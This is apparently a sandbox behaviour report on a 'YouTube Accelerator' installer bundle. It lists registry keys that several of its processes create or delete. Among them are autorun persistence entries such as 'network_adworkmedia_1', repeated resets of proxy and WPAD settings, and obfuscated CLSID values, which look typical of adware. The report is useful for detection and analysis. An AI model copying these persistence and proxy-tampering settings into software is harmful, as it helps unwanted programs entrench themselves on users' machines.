[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "isoNOAtn"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "Eimb"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:1564 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

The process ins_postInst.exe:3980 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "8D 3D 3E E8 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F3 04 CB ED 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F3 04 CB ED 5C 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAccelerator.exe:1732 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E1 A5 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6E 4F F2 F8 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "0F 50 31 FF 5C 2A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeLimit" = "1"
"TimeStamp" = "1420623207"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "0F 50 31 FF 5C 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:3580 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "BF 00 5C F0 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "38 DE 34 F4 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "38 DE 34 F4 5C 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 6C4.tmp:1188 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "38 DE 34 F4 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "6E 4F F2 F8 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "6E 4F F2 F8 5C 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:3636 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C2 4A 55 C4 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "C2 4A 55 C4 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "C2 4A 55 C4 5C 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C2 4A 55 C4 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "2E 64 0B E5 5C 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "2E 64 0B E5 5C 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLJ1CB4.tmp:3596 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

